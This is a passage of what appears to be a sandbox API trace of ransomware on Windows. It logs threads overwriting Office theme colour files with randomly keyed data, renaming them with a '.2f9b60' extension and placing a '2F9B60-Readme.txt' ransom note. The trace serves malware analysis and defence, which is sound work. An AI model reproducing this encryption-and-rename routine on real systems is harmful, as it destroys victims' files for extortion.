Flags=0x8, Size=0x40) returned 0x1cd97120 [0096.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866440 [0096.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7a40 [0096.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7a40) returned 1 [0096.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82d000 [0096.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7a40 [0096.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7b00 [0096.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7b00) returned 1 [0096.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866440) returned 1 [0096.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97120) returned 1 [0096.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x1ced7b00 [0096.012] sprintf (in: _Dest=0x1ced7b00, _Format="%c%c" | out: _Dest="11") returned 2 [0096.012] sprintf (in: _Dest=0x1ced7b02, _Format="%c%c" | out: _Dest="36") returned 2 [0096.012] sprintf (in: _Dest=0x1ced7b04, _Format="%c%c" | out: _Dest="51") returned 2 [0096.012] sprintf (in: _Dest=0x1ced7b06, _Format="%c%c" | out: _Dest="6d") returned 2 [0096.012] sprintf (in: _Dest=0x1ced7b08, _Format="%c%c" | out: _Dest="d9") returned 2 [0096.012] sprintf (in: _Dest=0x1ced7b0a, _Format="%c%c" | out: _Dest="35") returned 2 [0096.012] sprintf (in: _Dest=0x1ced7b0c, _Format="%c%c" | out: _Dest="56") returned 2 [0096.013] sprintf (in: _Dest=0x1ced7b0e, _Format="%c%c" | out: _Dest="d0") returned 2 [0096.013] sprintf (in: _Dest=0x1ced7b10, _Format="%c%c" | out: _Dest="09") returned 2 [0096.013] sprintf (in: _Dest=0x1ced7b12, _Format="%c%c" | out: _Dest="2c") returned 2 [0096.013] sprintf (in: _Dest=0x1ced7b14, _Format="%c%c" | out: _Dest="d0") returned 2 [0096.013] sprintf (in: _Dest=0x1ced7b16, _Format="%c%c" | out: _Dest="55") returned 2 [0096.013] sprintf (in: _Dest=0x1ced7b18, _Format="%c%c" | out: _Dest="a6") returned 2 [0096.013] sprintf (in: _Dest=0x1ced7b1a, _Format="%c%c" | out: _Dest="1f") returned 2 [0096.013] sprintf (in: _Dest=0x1ced7b1c, _Format="%c%c" | out: _Dest="60") returned 2 [0096.013] sprintf (in: _Dest=0x1ced7b1e, _Format="%c%c" | out: _Dest="7d") returned 2 [0096.013] RtlInitAnsiString (in: DestinationString=0x2835f6e8, SourceString="1136516dd93556d0092cd055a61f607d" | out: DestinationString="1136516dd93556d0092cd055a61f607d") [0096.013] RtlAnsiStringToUnicodeString (in: DestinationString=0x2835f6b8, SourceString="1136516dd93556d0092cd055a61f607d", AllocateDestinationString=1 | out: DestinationString="1136516dd93556d0092cd055a61f607d") returned 0x0 [0096.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1cd97620 [0096.013] wcscat (in: _Dest=0x1ce113f0, _Source="1136516d" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\1136516d") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\1136516d" [0096.013] wcscat (in: _Dest=0x1ce113f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\1136516d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\1136516d.2f9b60" [0096.013] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\1136516d.2f9b60", NtPathName=0x2835f690, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\1136516d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0096.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x118e30 [0104.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118e30) returned 1 [0104.694] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267990) returned 1 [0104.694] NtQueryInformationFile (in: FileHandle=0xe34, IoStatusBlock=0x2835f6f8, FileInformation=0x2835f708, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2835f6f8, FileInformation=0x2835f708) returned 0x0 [0104.694] NtSetInformationFile (FileHandle=0xe34, IoStatusBlock=0x2835f6f8, FileInformation=0x2835f708, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce113f0) returned 1 [0104.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0104.696] FlushFileBuffers (hFile=0xe34) returned 1 [0104.697] CloseHandle (hObject=0xe34) returned 1 [0104.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279370 [0104.698] wcscpy (in: _Dest=0x20279370, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0104.698] wcscat (in: _Dest=0x20279370, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0104.698] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0104.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279370) returned 1 [0104.698] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7adac0) returned 1 Thread: id = 594 os_tid = 0x102c [0094.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml")) returned 0x20 [0095.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml", dwFileAttributes=0x20) returned 1 [0095.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Foundry.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\foundry.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe64 [0095.173] GetFileSizeEx (in: hFile=0xe64, lpFileSize=0x2857f9e0 | out: lpFileSize=0x2857f9e0*=962) returned 1 [0095.173] SetFilePointerEx (in: hFile=0xe64, liDistanceToMove=0x3be, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.173] ReadFile (in: hFile=0xe64, lpBuffer=0x2857f960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2857f9a8, lpOverlapped=0x0 | out: lpBuffer=0x2857f960*, lpNumberOfBytesRead=0x2857f9a8*=0x4, lpOverlapped=0x0) returned 1 [0095.395] SetFilePointerEx (in: hFile=0xe64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0095.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7410 [0095.395] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7c20 [0095.395] NtQuerySystemTime (in: CurrentTime=0x2857f8a0 | out: CurrentTime=0x2857f8a0*=132462177012358000) returned 0x0 [0095.395] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x7b237ab1 [0095.395] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x6a0f7567 [0095.396] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x614c797f [0095.396] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x6e01dcb1 [0095.396] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x30f8e409 [0095.396] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x2aa89b41 [0095.396] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x5709f93c [0095.396] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x69b57bfa [0095.396] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x5d777f6d [0095.396] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x796b3031 [0095.396] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x56ae99a0 [0095.396] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x33bc8942 [0095.396] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x3992c32a [0095.396] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x1c9e5a82 [0095.396] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x2d75d094 [0095.396] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x4a2ed72e [0095.396] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x7169f56c [0095.396] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x61a163c6 [0095.396] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x278f247e [0095.396] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x5dbf05b5 [0095.396] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x37a811a8 [0095.396] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x2c3346bf [0095.396] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x574f4d1a [0095.396] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x57815f40 [0095.396] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x48cb2403 [0095.396] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x5c6c93e3 [0095.396] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x617c8c25 [0095.397] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x61da60e4 [0095.397] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x66df46ba [0095.397] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x448db6f2 [0095.397] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x59c5ed0f [0095.397] RtlRandomEx (in: Seed=0x2857f890 | out: Seed=0x2857f890) returned 0x689198fc [0095.408] ReadFile (in: hFile=0xe64, lpBuffer=0x201cc1b0, nNumberOfBytesToRead=0x3c2, lpNumberOfBytesRead=0x2857f890, lpOverlapped=0x0 | out: lpBuffer=0x201cc1b0*, lpNumberOfBytesRead=0x2857f890*=0x3c2, lpOverlapped=0x0) returned 1 [0095.409] SetFilePointerEx (in: hFile=0xe64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.409] WriteFile (in: hFile=0xe64, lpBuffer=0x201c0d80*, nNumberOfBytesToWrite=0x3c2, lpNumberOfBytesWritten=0x2857f894, lpOverlapped=0x0 | out: lpBuffer=0x201c0d80*, lpNumberOfBytesWritten=0x2857f894*=0x3c2, lpOverlapped=0x0) returned 1 [0095.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd30 [0095.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbe0 [0095.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbe0) returned 1 [0095.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201c0d80) returned 1 [0095.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201cc1b0) returned 1 [0095.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866c40) returned 1 [0095.633] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0095.633] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b85fbe0 [0095.634] SetFilePointerEx (in: hFile=0xe64, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.634] WriteFile (in: hFile=0xe64, lpBuffer=0x169090*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2857f9b0, lpOverlapped=0x0 | out: lpBuffer=0x169090*, lpNumberOfBytesWritten=0x2857f9b0*=0x108, lpOverlapped=0x0) returned 1 [0095.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0095.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8671c0 [0095.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7500 [0095.661] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7500) returned 1 [0095.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0095.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7500 [0095.661] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7dd0 [0095.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7dd0) returned 1 [0095.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8671c0) returned 1 [0095.662] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0095.662] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f070 [0095.662] sprintf (in: _Dest=0x1cd9f070, _Format="%c%c" | out: _Dest="d7") returned 2 [0095.662] sprintf (in: _Dest=0x1cd9f072, _Format="%c%c" | out: _Dest="7d") returned 2 [0095.662] sprintf (in: _Dest=0x1cd9f074, _Format="%c%c" | out: _Dest="38") returned 2 [0095.662] sprintf (in: _Dest=0x1cd9f076, _Format="%c%c" | out: _Dest="fb") returned 2 [0095.662] sprintf (in: _Dest=0x1cd9f078, _Format="%c%c" | out: _Dest="ca") returned 2 [0095.662] sprintf (in: _Dest=0x1cd9f07a, _Format="%c%c" | out: _Dest="cd") returned 2 [0095.662] sprintf (in: _Dest=0x1cd9f07c, _Format="%c%c" | out: _Dest="23") returned 2 [0095.662] sprintf (in: _Dest=0x1cd9f07e, _Format="%c%c" | out: _Dest="35") returned 2 [0095.662] sprintf (in: _Dest=0x1cd9f080, _Format="%c%c" | out: _Dest="b9") returned 2 [0095.662] sprintf (in: _Dest=0x1cd9f082, _Format="%c%c" | out: _Dest="09") returned 2 [0095.662] sprintf (in: _Dest=0x1cd9f084, _Format="%c%c" | out: _Dest="9d") returned 2 [0095.662] sprintf (in: _Dest=0x1cd9f086, _Format="%c%c" | out: _Dest="77") returned 2 [0095.662] sprintf (in: _Dest=0x1cd9f088, _Format="%c%c" | out: _Dest="1c") returned 2 [0095.662] sprintf (in: _Dest=0x1cd9f08a, _Format="%c%c" | out: _Dest="36") returned 2 [0095.662] sprintf (in: _Dest=0x1cd9f08c, _Format="%c%c" | out: _Dest="c1") returned 2 [0095.662] sprintf (in: _Dest=0x1cd9f08e, _Format="%c%c" | out: _Dest="c4") returned 2 [0095.662] sprintf (in: _Dest=0x1cd9f090, _Format="%c%c" | out: _Dest="0e") returned 2 [0095.662] sprintf (in: _Dest=0x1cd9f092, _Format="%c%c" | out: _Dest="00") returned 2 [0095.662] sprintf (in: _Dest=0x1cd9f094, _Format="%c%c" | out: _Dest="55") returned 2 [0095.662] sprintf (in: _Dest=0x1cd9f096, _Format="%c%c" | out: _Dest="0d") returned 2 [0095.663] sprintf (in: _Dest=0x1cd9f098, _Format="%c%c" | out: _Dest="36") returned 2 [0095.663] sprintf (in: _Dest=0x1cd9f09a, _Format="%c%c" | out: _Dest="e2") returned 2 [0095.663] RtlInitAnsiString (in: DestinationString=0x2857fa28, SourceString="d77d38fbcacd2335b9099d771c36c1c40e00550d36e2" | out: DestinationString="d77d38fbcacd2335b9099d771c36c1c40e00550d36e2") [0095.663] RtlAnsiStringToUnicodeString (in: DestinationString=0x2857f9f8, SourceString="d77d38fbcacd2335b9099d771c36c1c40e00550d36e2", AllocateDestinationString=1 | out: DestinationString="d77d38fbcacd2335b9099d771c36c1c40e00550d36e2") returned 0x0 [0095.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b86ee20 [0095.663] wcscat (in: _Dest=0x107cc0, _Source="d77d38fbcac" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\d77d38fbcac") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\d77d38fbcac" [0095.663] wcscat (in: _Dest=0x107cc0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\d77d38fbcac.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\d77d38fbcac.2f9b60" [0095.663] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\d77d38fbcac.2f9b60", NtPathName=0x2857f9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\d77d38fbcac.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0095.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc8) returned 0x118880 [0107.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118880) returned 1 [0107.614] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48270) returned 1 [0107.614] NtQueryInformationFile (in: FileHandle=0xe64, IoStatusBlock=0x2857fa38, FileInformation=0x2857fa48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2857fa38, FileInformation=0x2857fa48) returned 0x0 [0107.614] NtSetInformationFile (FileHandle=0xe64, IoStatusBlock=0x2857fa38, FileInformation=0x2857fa48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0107.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107cc0) returned 1 [0107.656] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86ee20) returned 1 [0107.656] FlushFileBuffers (hFile=0xe64) returned 1 [0107.663] CloseHandle (hObject=0xe64) returned 1 [0107.683] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x108080 [0107.683] wcscpy (in: _Dest=0x108080, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\" [0107.683] wcscat (in: _Dest=0x108080, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" [0107.684] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\2f9b60-readme.txt")) returned 0x20 [0107.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x108080) returned 1 [0107.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a5440) returned 1 Thread: id = 595 os_tid = 0x1030 [0094.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml")) returned 0x20 [0095.063] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml", dwFileAttributes=0x20) returned 1 [0095.066] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Grayscale.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\grayscale.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe28 [0095.066] GetFileSizeEx (in: hFile=0xe28, lpFileSize=0x284dfe20 | out: lpFileSize=0x284dfe20*=928) returned 1 [0095.066] SetFilePointerEx (in: hFile=0xe28, liDistanceToMove=0x39c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.066] ReadFile (in: hFile=0xe28, lpBuffer=0x284dfda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x284dfde8, lpOverlapped=0x0 | out: lpBuffer=0x284dfda0*, lpNumberOfBytesRead=0x284dfde8*=0x4, lpOverlapped=0x0) returned 1 [0095.116] SetFilePointerEx (in: hFile=0xe28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fd90 [0095.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f940 [0095.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f880 [0095.116] NtQuerySystemTime (in: CurrentTime=0x284dfce0 | out: CurrentTime=0x284dfce0*=132462177009550000) returned 0x0 [0095.116] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x2c515659 [0095.116] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x695d0e0a [0095.116] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0xd4e8362 [0095.116] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x9658c76 [0095.117] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x7bc938cc [0095.117] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0xf0682f5 [0095.117] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0xc63c7c5 [0095.117] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x4491469c [0095.117] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x18e4fa0b [0095.117] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x575e4c25 [0095.117] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x107ac2de [0095.117] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x4f94a950 [0095.117] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x3e2a6114 [0095.117] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x76063681 [0095.117] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x14664717 [0095.117] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x356900c2 [0095.117] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x7eec875e [0095.117] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x21052c53 [0095.117] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x51833e5 [0095.117] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x40524aac [0095.117] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0xfcb916e [0095.118] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x44a46d18 [0095.118] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x72a1b1dc [0095.118] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x69df3ab9 [0095.118] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x43d963dd [0095.118] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x2c70540a [0095.118] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x3f7df68f [0095.118] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x2da2e1e9 [0095.118] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x35e98b02 [0095.118] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x3a88466 [0095.118] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x849a931 [0095.118] RtlRandomEx (in: Seed=0x284dfcd0 | out: Seed=0x284dfcd0) returned 0x678ea0a3 [0095.130] ReadFile (in: hFile=0xe28, lpBuffer=0x201a6910, nNumberOfBytesToRead=0x3a0, lpNumberOfBytesRead=0x284dfcd0, lpOverlapped=0x0 | out: lpBuffer=0x201a6910*, lpNumberOfBytesRead=0x284dfcd0*=0x3a0, lpOverlapped=0x0) returned 1 [0095.131] SetFilePointerEx (in: hFile=0xe28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0095.131] WriteFile (in: hFile=0xe28, lpBuffer=0x201aa520*, nNumberOfBytesToWrite=0x3a0, lpNumberOfBytesWritten=0x284dfcd4, lpOverlapped=0x0 | out: lpBuffer=0x201aa520*, lpNumberOfBytesWritten=0x284dfcd4*=0x3a0, lpOverlapped=0x0) returned 1 [0095.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fc40 [0095.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85feb0 [0095.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85feb0) returned 1 [0095.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201aa520) returned 1 [0095.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201a6910) returned 1 [0095.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866cc0) returned 1 [0095.675] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97440) returned 1 [0095.675] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b85feb0 [0095.676] SetFilePointerEx (in: hFile=0xe28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0095.676] WriteFile (in: hFile=0xe28, lpBuffer=0x166ce0*, nNumberOfBytesToWrite=0x10c, lpNumberOfBytesWritten=0x284dfdf0, lpOverlapped=0x0 | out: lpBuffer=0x166ce0*, lpNumberOfBytesWritten=0x284dfdf0*=0x10c, lpOverlapped=0x0) returned 1 [0100.556] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce18500 [0100.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866cc0 [0100.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202639b0 